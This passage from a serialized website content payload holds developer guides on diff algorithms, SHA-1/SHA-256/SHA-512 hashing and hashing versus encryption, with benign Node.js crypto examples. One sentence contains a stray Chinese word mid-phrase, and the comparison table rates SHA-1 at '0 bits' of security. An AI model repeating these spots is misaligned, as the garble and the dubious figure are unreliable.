with moved blocks",": Patience — cleaner alignment of functions",[44,236773,236774,236777],{},[47,236775,236776],{},"Large files with repeated patterns",": Histogram — most robust output",[44,236779,236780,236783],{},[47,236781,236782],{},"Performance-critical pipelines",": Myers — predictable O(ND) behavior",[16,236785,236786],{},"Most online diff tools hide the algorithm choice and use Myers or a hybrid approach. The best tool is the one that gives you output you can read and trust.",[11,236788,321],{"id":320},[41,236790,236791,236795,236799],{},[44,236792,236793],{},[98,236794,35382],{"href":35381},[44,236796,236797],{},[98,236798,222655],{"href":222654},[44,236800,236801],{},[98,236802,6364],{"href":6363},[11,236804,286],{"id":285},[16,236806,29979,236807,236809],{},[98,236808,35403],{"href":35402}," to compare texts instantly. Paste two versions, see every addition and deletion highlighted, and choose the view that fits your workflow — no command line needed.",[2043,236811,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":236813},[236814,236815,236820,236825,236830,236831,236832,236833],{"id":236433,"depth":337,"text":236434},{"id":236450,"depth":337,"text":236451,"children":236816},[236817,236818,236819],{"id":31482,"depth":343,"text":31483},{"id":160721,"depth":343,"text":160722},{"id":236502,"depth":343,"text":224693},{"id":236560,"depth":337,"text":236561,"children":236821},[236822,236823,236824],{"id":236574,"depth":343,"text":31483},{"id":160774,"depth":343,"text":160722},{"id":236608,"depth":343,"text":224693},{"id":236624,"depth":337,"text":236625,"children":236826},[236827,236828,236829],{"id":236639,"depth":343,"text":31483},{"id":160815,"depth":343,"text":160722},{"id":236669,"depth":343,"text":224693},{"id":26164,"depth":337,"text":26165},{"id":236756,"depth":337,"text":236757},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Understand the algorithms behind diff tools. Compare Myers, patience, and histogram diff algorithms and their trade-offs.",{"immutable":363},{"title":236428,"description":236834},"guides\u002Fdiff-algorithms-explained","sJf1NflxU6_vumfIRhhhTqAN5O1Tqdy7_y6CCm05JJQ",{"id":236840,"title":236841,"body":236842,"date":235803,"description":237540,"extension":361,"meta":237541,"navigation":363,"path":237542,"readingTime":1710,"seo":237543,"stem":237544,"__hash__":237545},"guides\u002Fguides\u002Fhashing-algorithms-explained.md","Hashing Algorithms Explained: SHA-1, SHA-256, SHA-512",{"type":8,"value":236843,"toc":237519},[236844,236848,236855,236862,236866,236897,236901,236907,236910,236928,236931,237006,237011,237014,237030,237033,237106,237111,237114,237131,237134,237208,237213,237217,237344,237348,237354,237360,237377,237381,237384,237395,237398,237402,237406,237434,237438,237452,237456,237462,237468,237474,237479,237481,237501,237503,237509,237512,237517],[11,236845,236847],{"id":236846},"what-is-hashing","What Is Hashing?",[16,236849,236850,236851,236854],{},"A hash function takes any input — a word, a file, or a terabyte of data — and produces a fixed-length string of characters called a ",[47,236852,236853],{},"hash digest",". The same input always generates the same output. Change one character, and the entire hash changes.",[16,236856,236857,236858,236861],{},"Hashing is ",[47,236859,236860],{},"one-way",". You cannot reconstruct the original data from the hash. That property makes hashing essential for data integrity, password storage, and digital signatures.",[33,236863,236865],{"id":236864},"key-properties-of-cryptographic-hash-functions","Key Properties of Cryptographic Hash Functions",[41,236867,236868,236873,236879,236885,236891],{},[44,236869,236870,236872],{},[47,236871,42877],{},": Same input always produces the same output",[44,236874,236875,236878],{},[47,236876,236877],{},"Fixed output size",": SHA-256 always produces 256 bits, regardless of input size",[44,236880,236881,236884],{},[47,236882,236883],{},"Avalanche effect",": A tiny change in input causes a completely different hash",[44,236886,236887,236890],{},[47,236888,236889],{},"Irreversible",": Computationally infeasible to derive input from output",[44,236892,236893,236896],{},[47,236894,236895],{},"Collision resistant",": Extremely unlikely for two different inputs to produce the same hash",[11,236898,236900],{"id":236899},"the-sha-family","The SHA Family",[16,236902,421,236903,236906],{},[47,236904,236905],{},"Secure Hash Algorithm (SHA)"," family is the most widely used set of cryptographic hash functions, published by NIST. All three versions covered here follow the same Merkle-Damgård construction but differ in output size and internal processing.",[33,236908,222190],{"id":236909},"sha-1",[41,236911,236912,236917,236923],{},[44,236913,236914,236916],{},[47,236915,754],{},": 160 bits (40 hex characters)",[44,236918,236919,236922],{},[47,236920,236921],{},"Block size",": 512 bits",[44,236924,236925,236927],{},[47,236926,222156],{},": Deprecated for security use since 2017",[16,236929,236930],{},"SHA-1 was the standard for over a decade. In 2017, Google and CWI Amsterdam demonstrated a practical collision attack (SHAttered), proving that two different PDF files could produce the same SHA-1 hash. This broke the核心 collision resistance property.",[135,236932,236934],{"className":1607,"code":236933,"language":1609,"meta":141,"style":141},"\u002F\u002F SHA-1 example (Node.js)\nconst crypto = require('crypto');\nconst hash = crypto.createHash('sha1').update('hello world').digest('hex');\nconsole.log(hash);\n\u002F\u002F Output: 2aae6c35c94fcfb415dbe95f408b9ce91ee846ed\n",[143,236935,236936,236941,236957,236992,237001],{"__ignoreMap":141},[1560,236937,236938],{"class":1562,"line":1563},[1560,236939,236940],{"class":1649},"\u002F\u002F SHA-1 example (Node.js)\n",[1560,236942,236943,236945,236947,236949,236951,236953,236955],{"class":1562,"line":337},[1560,236944,8180],{"class":1669},[1560,236946,41881],{"class":1576},[1560,236948,8186],{"class":1669},[1560,236950,20658],{"class":1566},[1560,236952,1688],{"class":1570},[1560,236954,41890],{"class":5634},[1560,236956,1744],{"class":1570},[1560,236958,236959,236961,236963,236965,236967,236969,236971,236974,236976,236978,236980,236982,236984,236986,236988,236990],{"class":1562,"line":343},[1560,236960,8180],{"class":1669},[1560,236962,151591],{"class":1576},[1560,236964,8186],{"class":1669},[1560,236966,41913],{"class":1570},[1560,236968,151598],{"class":1566},[1560,236970,1688],{"class":1570},[1560,236972,236973],{"class":5634},"'sha1'",[1560,236975,9368],{"class":1570},[1560,236977,151608],{"class":1566},[1560,236979,1688],{"class":1570},[1560,236981,34175],{"class":5634},[1560,236983,9368],{"class":1570},[1560,236985,151614],{"class":1566},[1560,236987,1688],{"class":1570},[1560,236989,41938],{"class":5634},[1560,236991,1744],{"class":1570},[1560,236993,236994,236996,236998],{"class":1562,"line":365},[1560,236995,8211],{"class":1570},[1560,236997,8214],{"class":1566},[1560,236999,237000],{"class":1570},"(hash);\n",[1560,237002,237003],{"class":1562,"line":889},[1560,237004,237005],{"class":1649},"\u002F\u002F Output: 2aae6c35c94fcfb415dbe95f408b9ce91ee846ed\n",[16,237007,237008,237010],{},[47,237009,218787],{},": Do not use SHA-1 for any security-sensitive application. It remains useful only for legacy compatibility and non-security checksums.",[33,237012,151477],{"id":237013},"sha-256",[41,237015,237016,237021,237025],{},[44,237017,237018,237020],{},[47,237019,754],{},": 256 bits (64 hex characters)",[44,237022,237023,236922],{},[47,237024,236921],{},[44,237026,237027,237029],{},[47,237028,222156],{},": Current standard, widely trusted",[16,237031,237032],{},"SHA-256 is part of the SHA-2 family and is the default choice for most applications today. It powers TLS certificates, blockchain networks (Bitcoin), code signing, and software integrity checks.",[135,237034,237036],{"className":1607,"code":237035,"language":1609,"meta":141,"style":141},"\u002F\u002F SHA-256 example (Node.js)\nconst crypto = require('crypto');\nconst hash = crypto.createHash('sha256').update('hello world').digest('hex');\nconsole.log(hash);\n\u002F\u002F Output: b94d27b9934d3e08a52e52d7da7dabfac484efe37a5380ee9088f7ace2efcde9\n",[143,237037,237038,237043,237059,237093,237101],{"__ignoreMap":141},[1560,237039,237040],{"class":1562,"line":1563},[1560,237041,237042],{"class":1649},"\u002F\u002F SHA-256 example (Node.js)\n",[1560,237044,237045,237047,237049,237051,237053,237055,237057],{"class":1562,"line":337},[1560,237046,8180],{"class":1669},[1560,237048,41881],{"class":1576},[1560,237050,8186],{"class":1669},[1560,237052,20658],{"class":1566},[1560,237054,1688],{"class":1570},[1560,237056,41890],{"class":5634},[1560,237058,1744],{"class":1570},[1560,237060,237061,237063,237065,237067,237069,237071,237073,237075,237077,237079,237081,237083,237085,237087,237089,237091],{"class":1562,"line":343},[1560,237062,8180],{"class":1669},[1560,237064,151591],{"class":1576},[1560,237066,8186],{"class":1669},[1560,237068,41913],{"class":1570},[1560,237070,151598],{"class":1566},[1560,237072,1688],{"class":1570},[1560,237074,151744],{"class":5634},[1560,237076,9368],{"class":1570},[1560,237078,151608],{"class":1566},[1560,237080,1688],{"class":1570},[1560,237082,34175],{"class":5634},[1560,237084,9368],{"class":1570},[1560,237086,151614],{"class":1566},[1560,237088,1688],{"class":1570},[1560,237090,41938],{"class":5634},[1560,237092,1744],{"class":1570},[1560,237094,237095,237097,237099],{"class":1562,"line":365},[1560,237096,8211],{"class":1570},[1560,237098,8214],{"class":1566},[1560,237100,237000],{"class":1570},[1560,237102,237103],{"class":1562,"line":889},[1560,237104,237105],{"class":1649},"\u002F\u002F Output: b94d27b9934d3e08a52e52d7da7dabfac484efe37a5380ee9088f7ace2efcde9\n",[16,237107,237108,237110],{},[47,237109,218787],{},": The best general-purpose hash for most use cases in 2026.",[33,237112,222178],{"id":237113},"sha-512",[41,237115,237116,237121,237126],{},[44,237117,237118,237120],{},[47,237119,754],{},": 512 bits (128 hex characters)",[44,237122,237123,237125],{},[47,237124,236921],{},": 1024 bits",[44,237127,237128,237130],{},[47,237129,222156],{},": Secure, useful for 64-bit platforms",[16,237132,237133],{},"SHA-512 operates on 1024-bit blocks and uses 80 rounds of processing. On 64-bit processors, SHA-512 can actually be faster than SHA-256 because it processes more data per block. Its longer output provides a larger security margin against future attacks.",[135,237135,237137],{"className":1607,"code":237136,"language":1609,"meta":141,"style":141},"\u002F\u002F SHA-512 example (Node.js)\nconst crypto = require('crypto');\nconst hash = crypto.createHash('sha512').update('hello world').digest('hex');\nconsole.log(hash);\n\u002F\u002F Output: 309ecc489c12d6eb4cc40f50c902f2b4d0ed77ee511a7c7a9bcd3ca86d4cd86f...\n",[143,237138,237139,237144,237160,237195,237203],{"__ignoreMap":141},[1560,237140,237141],{"class":1562,"line":1563},[1560,237142,237143],{"class":1649},"\u002F\u002F SHA-512 example (Node.js)\n",[1560,237145,237146,237148,237150,237152,237154,237156,237158],{"class":1562,"line":337},[1560,237147,8180],{"class":1669},[1560,237149,41881],{"class":1576},[1560,237151,8186],{"class":1669},[1560,237153,20658],{"class":1566},[1560,237155,1688],{"class":1570},[1560,237157,41890],{"class":5634},[1560,237159,1744],{"class":1570},[1560,237161,237162,237164,237166,237168,237170,237172,237174,237177,237179,237181,237183,237185,237187,237189,237191,237193],{"class":1562,"line":343},[1560,237163,8180],{"class":1669},[1560,237165,151591],{"class":1576},[1560,237167,8186],{"class":1669},[1560,237169,41913],{"class":1570},[1560,237171,151598],{"class":1566},[1560,237173,1688],{"class":1570},[1560,237175,237176],{"class":5634},"'sha512'",[1560,237178,9368],{"class":1570},[1560,237180,151608],{"class":1566},[1560,237182,1688],{"class":1570},[1560,237184,34175],{"class":5634},[1560,237186,9368],{"class":1570},[1560,237188,151614],{"class":1566},[1560,237190,1688],{"class":1570},[1560,237192,41938],{"class":5634},[1560,237194,1744],{"class":1570},[1560,237196,237197,237199,237201],{"class":1562,"line":365},[1560,237198,8211],{"class":1570},[1560,237200,8214],{"class":1566},[1560,237202,237000],{"class":1570},[1560,237204,237205],{"class":1562,"line":889},[1560,237206,237207],{"class":1649},"\u002F\u002F Output: 309ecc489c12d6eb4cc40f50c902f2b4d0ed77ee511a7c7a9bcd3ca86d4cd86f...\n",[16,237209,237210,237212],{},[47,237211,218787],{},": Use when you need maximum security margin or work primarily on 64-bit systems.",[11,237214,237216],{"id":237215},"head-to-head-comparison","Head-to-Head Comparison",[193,237218,237219,237231],{},[196,237220,237221],{},[199,237222,237223,237225,237227,237229],{},[202,237224,14482],{},[202,237226,222190],{},[202,237228,151477],{},[202,237230,222178],{},[211,237232,237233,237248,237261,237274,237287,237302,237315,237329],{},[199,237234,237235,237240,237243,237245],{},[216,237236,237237],{},[47,237238,237239],{},"Output length",[216,237241,237242],{},"160 bits",[216,237244,151492],{},[216,237246,237247],{},"512 bits",[199,237249,237250,237255,237257,237259],{},[216,237251,237252],{},[47,237253,237254],{},"Hex characters",[216,237256,18162],{},[216,237258,32226],{},[216,237260,5324],{},[199,237262,237263,237267,237269,237271],{},[216,237264,237265],{},[47,237266,236921],{},[216,237268,237247],{},[216,237270,237247],{},[216,237272,237273],{},"1024 bits",[199,237275,237276,237281,237283,237285],{},[216,237277,237278],{},[47,237279,237280],{},"Rounds",[216,237282,5321],{},[216,237284,32226],{},[216,237286,5321],{},[199,237288,237289,237294,237297,237300],{},[216,237290,237291],{},[47,237292,237293],{},"Collision attacks",[216,237295,237296],{},"Broken (2017)",[216,237298,237299],{},"None practical",[216,237301,237299],{},[199,237303,237304,237309,237311,237313],{},[216,237305,237306],{},[47,237307,237308],{},"Speed (64-bit)",[216,237310,50094],{},[216,237312,15457],{},[216,237314,50094],{},[199,237316,237317,237322,237325,237327],{},[216,237318,237319],{},[47,237320,237321],{},"Security level",[216,237323,237324],{},"0 bits",[216,237326,151489],{},[216,237328,151492],{},[199,237330,237331,237335,237338,237341],{},[216,237332,237333],{},[47,237334,61666],{},[216,237336,237337],{},"Legacy only",[216,237339,237340],{},"General use",[216,237342,237343],{},"High-security",[11,237345,237347],{"id":237346},"understanding-collision-resistance","Understanding Collision Resistance",[16,237349,78047,237350,237353],{},[47,237351,237352],{},"collision"," occurs when two different inputs produce the same hash. Collision resistance means finding such pairs should be computationally infeasible.",[16,237355,237356,237357,237359],{},"The birthday paradox sets the theoretical bound: for an ",[7310,237358,22610],{},"-bit hash, a collision can be found in approximately 2^(n\u002F2) operations. This means:",[41,237361,237362,237367,237372],{},[44,237363,237364,237366],{},[47,237365,222190],{}," (160 bits): Security level reduced to ~2^61 after attacks — practical",[44,237368,237369,237371],{},[47,237370,151477],{}," (256 bits): Security level ~2^128 — no practical attack",[44,237373,237374,237376],{},[47,237375,222178],{}," (512 bits): Security level ~2^256 — no practical attack",[33,237378,237380],{"id":237379},"why-collisions-matter","Why Collisions Matter",[16,237382,237383],{},"If an attacker can create two documents with the same hash, they can:",[41,237385,237386,237389,237392],{},[44,237387,237388],{},"Forge digital signatures",[44,237390,237391],{},"Replace signed software with malicious versions",[44,237393,237394],{},"Undermine certificate authority trust chains",[16,237396,237397],{},"This is why SHA-1 deprecation in TLS and code signing was urgent after the SHAttered attack.",[11,237399,237401],{"id":237400},"security-recommendations-for-2026","Security Recommendations for 2026",[33,237403,237405],{"id":237404},"do","DO",[41,237407,237408,237413,237418,237425,237431],{},[44,237409,1388,237410,237412],{},[47,237411,151477],{}," as your default hash function",[44,237414,65663,237415,237417],{},[47,237416,222178],{}," for long-term archiving or high-value signatures",[44,237419,237420,237421,237424],{},"Always combine hashing with ",[47,237422,237423],{},"salt"," for password storage",[44,237426,1388,237427,237430],{},[47,237428,237429],{},"HMAC"," when you need message authentication",[44,237432,237433],{},"Verify hashes when downloading software or transferring files",[33,237435,237437],{"id":237436},"do-not","DO NOT",[41,237439,237440,237443,237446,237449],{},[44,237441,237442],{},"Use SHA-1 for any security purpose",[44,237444,237445],{},"Store passwords with plain SHA-256 — use Argon2id or bcrypt instead",[44,237447,237448],{},"Assume hash equality means file equality without considering collision risk",[44,237450,237451],{},"Truncate hash output without understanding the security implications",[11,237453,237455],{"id":237454},"practical-hashing-use-cases","Practical Hashing Use Cases",[16,237457,237458,237461],{},[47,237459,237460],{},"File integrity verification",": Download a file and compare its hash to the published value. Any difference means the file was corrupted or tampered with.",[16,237463,237464,237467],{},[47,237465,237466],{},"Git commit identifiers",": Git uses SHA-1 (migrating to SHA-256) to identify every commit, tree, and blob. The hash uniquely represents the entire content and history.",[16,237469,237470,237473],{},[47,237471,237472],{},"Blockchain",": Bitcoin uses double SHA-256 for block hashing and transaction verification. Ethereum uses Keccak-256 (SHA-3 family).",[16,237475,237476,237478],{},[47,237477,151433],{},": Sign the hash of a document rather than the document itself. This keeps signatures compact regardless of document size.",[11,237480,321],{"id":320},[41,237482,237483,237489,237495],{},[44,237484,237485],{},[98,237486,237488],{"href":237487},"\u002Fguides\u002Fsha-256-practical-guide","SHA-256 Practical Guide",[44,237490,237491],{},[98,237492,237494],{"href":237493},"\u002Fguides\u002Fhashing-vs-encryption","Hashing vs Encryption",[44,237496,237497],{},[98,237498,237500],{"href":237499},"\u002Fguides\u002Fbase64-vs-encryption","Base64 vs Encryption",[11,237502,286],{"id":285},[16,237504,237505,237506,237508],{},"Curious how different inputs produce different hashes? Our free ",[98,237507,86434],{"href":86433}," lets you compute SHA-1, SHA-256, and SHA-512 hashes instantly in your browser. No data leaves your device — all calculations run locally using the Web Crypto API.",[16,237510,237511],{},"Test it now: change a single letter in your input and watch the entire hash transform. That is the avalanche effect in action.",[16,237513,237514],{},[98,237515,237516],{"href":86433},"Calculate hashes now →",[2043,237518,89812],{},{"title":141,"searchDepth":337,"depth":337,"links":237520},[237521,237524,237529,237530,237533,237537,237538,237539],{"id":236846,"depth":337,"text":236847,"children":237522},[237523],{"id":236864,"depth":343,"text":236865},{"id":236899,"depth":337,"text":236900,"children":237525},[237526,237527,237528],{"id":236909,"depth":343,"text":222190},{"id":237013,"depth":343,"text":151477},{"id":237113,"depth":343,"text":222178},{"id":237215,"depth":337,"text":237216},{"id":237346,"depth":337,"text":237347,"children":237531},[237532],{"id":237379,"depth":343,"text":237380},{"id":237400,"depth":337,"text":237401,"children":237534},[237535,237536],{"id":237404,"depth":343,"text":237405},{"id":237436,"depth":343,"text":237437},{"id":237454,"depth":337,"text":237455},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Understand how hashing algorithms work. Compare SHA-1, SHA-256, and SHA-512 with practical examples and security considerations.",{"immutable":363},"\u002Fguides\u002Fhashing-algorithms-explained",{"title":236841,"description":237540},"guides\u002Fhashing-algorithms-explained","1ynnOJ1GGE6aFCNVhyrz-D97MM5KL4wBJCCkXEazdNE",{"id":237547,"title":237548,"body":237549,"date":235803,"description":238723,"extension":361,"meta":238724,"navigation":363,"path":237493,"readingTime":1710,"seo":238725,"stem":238726,"__hash__":238727},"guides\u002Fguides\u002Fhashing-vs-encryption.md","Hashing vs Encryption: Key Differences Explained",{"type":8,"value":237550,"toc":238691},[237551,237555,237558,237576,237579,237583,237587,237665,237668,237672,237926,237929,237931,238025,238029,238033,238036,238148,238151,238155,238158,238180,238183,238186,238190,238194,238197,238246,238250,238253,238257,238260,238331,238333,238337,238340,238344,238347,238351,238354,238358,238361,238365,238368,238372,238445,238448,238452,238501,238504,238506,238613,238617,238657,238659,238674,238676,238682,238685,238689],[11,237552,237554],{"id":237553},"the-fundamental-distinction","The Fundamental Distinction",[16,237556,237557],{},"Hashing and encryption both transform data into unreadable output, but they serve completely different purposes:",[41,237559,237560,237568],{},[44,237561,237562,237564,237565,237567],{},[47,237563,84416],{}," is a ",[47,237566,236860],{}," transformation. You cannot recover the original data from the hash.",[44,237569,237570,237564,237572,237575],{},[47,237571,84413],{},[47,237573,237574],{},"two-way"," transformation. You can decrypt the ciphertext back to plaintext with the correct key.",[16,237577,237578],{},"This difference determines when to use each. Use hashing when you never need the original data back. Use encryption when you do.",[11,237580,237582],{"id":237581},"one-way-vs-two-way","One-Way vs Two-Way",[33,237584,237586],{"id":237585},"hashing-no-way-back","Hashing: No Way Back",[135,237588,237590],{"className":1607,"code":237589,"language":1609,"meta":141,"style":141},"const crypto = require('crypto');\n\n\u002F\u002F Hashing — one way\nconst hash = crypto.createHash('sha256').update('my password').digest('hex');\nconsole.log(hash);\n\u002F\u002F \"a3d2f...\" — cannot be reversed to \"my password\"\n",[143,237591,237592,237608,237612,237617,237652,237660],{"__ignoreMap":141},[1560,237593,237594,237596,237598,237600,237602,237604,237606],{"class":1562,"line":1563},[1560,237595,8180],{"class":1669},[1560,237597,41881],{"class":1576},[1560,237599,8186],{"class":1669},[1560,237601,20658],{"class":1566},[1560,237603,1688],{"class":1570},[1560,237605,41890],{"class":5634},[1560,237607,1744],{"class":1570},[1560,237609,237610],{"class":1562,"line":337},[1560,237611,1702],{"emptyLinePlaceholder":363},[1560,237613,237614],{"class":1562,"line":343},[1560,237615,237616],{"class":1649},"\u002F\u002F Hashing — one way\n",[1560,237618,237619,237621,237623,237625,237627,237629,237631,237633,237635,237637,237639,237642,237644,237646,237648,237650],{"class":1562,"line":365},[1560,237620,8180],{"class":1669},[1560,237622,151591],{"class":1576},[1560,237624,8186],{"class":1669},[1560,237626,41913],{"class":1570},[1560,237628,151598],{"class":1566},[1560,237630,1688],{"class":1570},[1560,237632,151744],{"class":5634},[1560,237634,9368],{"class":1570},[1560,237636,151608],{"class":1566},[1560,237638,1688],{"class":1570},[1560,237640,237641],{"class":5634},"'my password'",[1560,237643,9368],{"class":1570},[1560,237645,151614],{"class":1566},[1560,237647,1688],{"class":1570},[1560,237649,41938],{"class":5634},[1560,237651,1744],{"class":1570},[1560,237653,237654,237656,237658],{"class":1562,"line":889},[1560,237655,8211],{"class":1570},[1560,237657,8214],{"class":1566},[1560,237659,237000],{"class":1570},[1560,237661,237662],{"class":1562,"line":1710},[1560,237663,237664],{"class":1649},"\u002F\u002F \"a3d2f...\" — cannot be reversed to \"my password\"\n",[16,237666,237667],{},"Once data is hashed, there is no mathematical operation to derive the input from the output. The only way to \"find\" the input is brute force — try every possible value until the hash matches.",[33,237669,237671],{"id":237670},"encryption-reversible-with-a-key","Encryption: Reversible With a Key",[135,237673,237675],{"className":1607,"code":237674,"language":1609,"meta":141,"style":141},"const crypto = require('crypto');\n\n\u002F\u002F Encryption — two way\nconst key = crypto.randomBytes(32);\nconst iv = crypto.randomBytes(16);\n\nconst cipher = crypto.createCipheriv('aes-256-gcm', key, iv);\nconst encrypted = cipher.update('my password', 'utf8', 'hex') + cipher.final('hex');\nconsole.log(encrypted);\n\u002F\u002F \"9f3a1b...\" — looks random, but can be reversed\n\n\u002F\u002F Decryption — recover the original\nconst tag = cipher.getAuthTag();\nconst decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);\ndecipher.setAuthTag(tag);\nconst decrypted = decipher.update(encrypted, 'hex', 'utf8') + decipher.final('utf8');\nconsole.log(decrypted);\n\u002F\u002F \"my password\" — original recovered\n",[143,237676,237677,237693,237697,237702,237720,237739,237743,237765,237806,237815,237820,237824,237829,237844,237864,237875,237912,237921],{"__ignoreMap":141},[1560,237678,237679,237681,237683,237685,237687,237689,237691],{"class":1562,"line":1563},[1560,237680,8180],{"class":1669},[1560,237682,41881],{"class":1576},[1560,237684,8186],{"class":1669},[1560,237686,20658],{"class":1566},[1560,237688,1688],{"class":1570},[1560,237690,41890],{"class":5634},[1560,237692,1744],{"class":1570},[1560,237694,237695],{"class":1562,"line":337},[1560,237696,1702],{"emptyLinePlaceholder":363},[1560,237698,237699],{"class":1562,"line":343},[1560,237700,237701],{"class":1649},"\u002F\u002F Encryption — two way\n",[1560,237703,237704,237706,237708,237710,237712,237714,237716,237718],{"class":1562,"line":365},[1560,237705,8180],{"class":1669},[1560,237707,90481],{"class":1576},[1560,237709,8186],{"class":1669},[1560,237711,41913],{"class":1570},[1560,237713,41916],{"class":1566},[1560,237715,1688],{"class":1570},[1560,237717,36042],{"class":1576},[1560,237719,1744],{"class":1570},[1560,237721,237722,237724,237727,237729,237731,237733,237735,237737],{"class":1562,"line":889},[1560,237723,8180],{"class":1669},[1560,237725,237726],{"class":1576}," iv",[1560,237728,8186],{"class":1669},[1560,237730,41913],{"class":1570},[1560,237732,41916],{"class":1566},[1560,237734,1688],{"class":1570},[1560,237736,10057],{"class":1576},[1560,237738,1744],{"class":1570},[1560,237740,237741],{"class":1562,"line":1710},[1560,237742,1702],{"emptyLinePlaceholder":363},[1560,237744,237745,237747,237750,237752,237754,237757,237759,237762],{"class":1562,"line":1717},[1560,237746,8180],{"class":1669},[1560,237748,237749],{"class":1576}," cipher",[1560,237751,8186],{"class":1669},[1560,237753,41913],{"class":1570},[1560,237755,237756],{"class":1566},"createCipheriv",[1560,237758,1688],{"class":1570},[1560,237760,237761],{"class":5634},"'aes-256-gcm'",[1560,237763,237764],{"class":1570},", key, iv);\n",[1560,237766,237767,237769,237772,237774,237777,237779,237781,237783,237785,237787,237789,237791,237793,237795,237797,237800,237802,237804],{"class":1562,"line":1747},[1560,237768,8180],{"class":1669},[1560,237770,237771],{"class":1576}," encrypted",[1560,237773,8186],{"class":1669},[1560,237775,237776],{"class":1570}," cipher.",[1560,237778,151608],{"class":1566},[1560,237780,1688],{"class":1570},[1560,237782,237641],{"class":5634},[1560,237784,1459],{"class":1570},[1560,237786,154602],{"class":5634},[1560,237788,1459],{"class":1570},[1560,237790,41938],{"class":5634},[1560,237792,1733],{"class":1570},[1560,237794,9448],{"class":1669},[1560,237796,237776],{"class":1570},[1560,237798,237799],{"class":1566},"final",[1560,237801,1688],{"class":1570},[1560,237803,41938],{"class":5634},[1560,237805,1744],{"class":1570},[1560,237807,237808,237810,237812],{"class":1562,"line":2507},[1560,237809,8211],{"class":1570},[1560,237811,8214],{"class":1566},[1560,237813,237814],{"class":1570},"(encrypted);\n",[1560,237816,237817],{"class":1562,"line":2524},[1560,237818,237819],{"class":1649},"\u002F\u002F \"9f3a1b...\" — looks random, but can be reversed\n",[1560,237821,237822],{"class":1562,"line":2529},[1560,237823,1702],{"emptyLinePlaceholder":363},[1560,237825,237826],{"class":1562,"line":2534},[1560,237827,237828],{"class":1649},"\u002F\u002F Decryption — recover the original\n",[1560,237830,237831,237833,237835,237837,237839,237842],{"class":1562,"line":2542},[1560,237832,8180],{"class":1669},[1560,237834,119896],{"class":1576},[1560,237836,8186],{"class":1669},[1560,237838,237776],{"class":1570},[1560,237840,237841],{"class":1566},"getAuthTag",[1560,237843,90158],{"class":1570},[1560,237845,237846,237848,237851,237853,237855,237858,237860,237862],{"class":1562,"line":2558},[1560,237847,8180],{"class":1669},[1560,237849,237850],{"class":1576}," decipher",[1560,237852,8186],{"class":1669},[1560,237854,41913],{"class":1570},[1560,237856,237857],{"class":1566},"createDecipheriv",[1560,237859,1688],{"class":1570},[1560,237861,237761],{"class":5634},[1560,237863,237764],{"class":1570},[1560,237865,237866,237869,237872],{"class":1562,"line":2570},[1560,237867,237868],{"class":1570},"decipher.",[1560,237870,237871],{"class":1566},"setAuthTag",[1560,237873,237874],{"class":1570},"(tag);\n",[1560,237876,237877,237879,237882,237884,237887,237889,237892,237894,237896,237898,237900,237902,237904,237906,237908,237910],{"class":1562,"line":6638},[1560,237878,8180],{"class":1669},[1560,237880,237881],{"class":1576}," decrypted",[1560,237883,8186],{"class":1669},[1560,237885,237886],{"class":1570}," decipher.",[1560,237888,151608],{"class":1566},[1560,237890,237891],{"class":1570},"(encrypted, ",[1560,237893,41938],{"class":5634},[1560,237895,1459],{"class":1570},[1560,237897,154602],{"class":5634},[1560,237899,1733],{"class":1570},[1560,237901,9448],{"class":1669},[1560,237903,237886],{"class":1570},[1560,237905,237799],{"class":1566},[1560,237907,1688],{"class":1570},[1560,237909,154602],{"class":5634},[1560,237911,1744],{"class":1570},[1560,237913,237914,237916,237918],{"class":1562,"line":11615},[1560,237915,8211],{"class":1570},[1560,237917,8214],{"class":1566},[1560,237919,237920],{"class":1570},"(decrypted);\n",[1560,237922,237923],{"class":1562,"line":11621},[1560,237924,237925],{"class":1649},"\u002F\u002F \"my password\" — original recovered\n",[16,237927,237928],{},"Encryption converts data into ciphertext only readable by someone holding the decryption key.",[11,237930,229323],{"id":229322},[193,237932,237933,237943],{},[196,237934,237935],{},[199,237936,237937,237939,237941],{},[202,237938,14482],{},[202,237940,84416],{},[202,237942,84413],{},[211,237944,237945,237957,237967,237977,237989,238002,238014],{},[199,237946,237947,237951,237954],{},[216,237948,237949],{},[47,237950,106473],{},[216,237952,237953],{},"One-way",[216,237955,237956],{},"Two-way",[199,237958,237959,237963,237965],{},[216,237960,237961],{},[47,237962,84456],{},[216,237964,6117],{},[216,237966,3057],{},[199,237968,237969,237973,237975],{},[216,237970,237971],{},[47,237972,84440],{},[216,237974,6117],{},[216,237976,84446],{},[199,237978,237979,237983,237986],{},[216,237980,237981],{},[47,237982,151525],{},[216,237984,237985],{},"Fixed (e.g., 256 bits)",[216,237987,237988],{},"Variable (same as input + padding)",[199,237990,237991,237996,237999],{},[216,237992,237993],{},[47,237994,237995],{},"Same input → same output",[216,237997,237998],{},"Yes (deterministic)",[216,238000,238001],{},"No (depends on IV\u002Fnonce)",[199,238003,238004,238009,238012],{},[216,238005,238006],{},[47,238007,238008],{},"Primary purpose",[216,238010,238011],{},"Integrity & verification",[216,238013,84430],{},[199,238015,238016,238020,238023],{},[216,238017,238018],{},[47,238019,96299],{},[216,238021,238022],{},"SHA-256, bcrypt, Argon2",[216,238024,202906],{},[11,238026,238028],{"id":238027},"when-to-use-hashing","When to Use Hashing",[33,238030,238032],{"id":238031},"password-storage","Password Storage",[16,238034,238035],{},"This is the most critical use case for hashing. When a user creates an account, you hash their password and store the hash. At login, you hash the submitted password and compare hashes.",[135,238037,238039],{"className":1607,"code":238038,"language":1609,"meta":141,"style":141},"const argon2 = require('argon2');\n\n\u002F\u002F Store password\nconst hash = await argon2.hash('user_password123');\n\n\u002F\u002F Verify login\nconst isValid = await argon2.verify(hash, 'user_password123'); \u002F\u002F true\nconst isWrong = await argon2.verify(hash, 'wrong_password');   \u002F\u002F false\n",[143,238040,238041,238059,238063,238068,238090,238094,238099,238123],{"__ignoreMap":141},[1560,238042,238043,238045,238048,238050,238052,238054,238057],{"class":1562,"line":1563},[1560,238044,8180],{"class":1669},[1560,238046,238047],{"class":1576}," argon2",[1560,238049,8186],{"class":1669},[1560,238051,20658],{"class":1566},[1560,238053,1688],{"class":1570},[1560,238055,238056],{"class":5634},"'argon2'",[1560,238058,1744],{"class":1570},[1560,238060,238061],{"class":1562,"line":337},[1560,238062,1702],{"emptyLinePlaceholder":363},[1560,238064,238065],{"class":1562,"line":343},[1560,238066,238067],{"class":1649},"\u002F\u002F Store 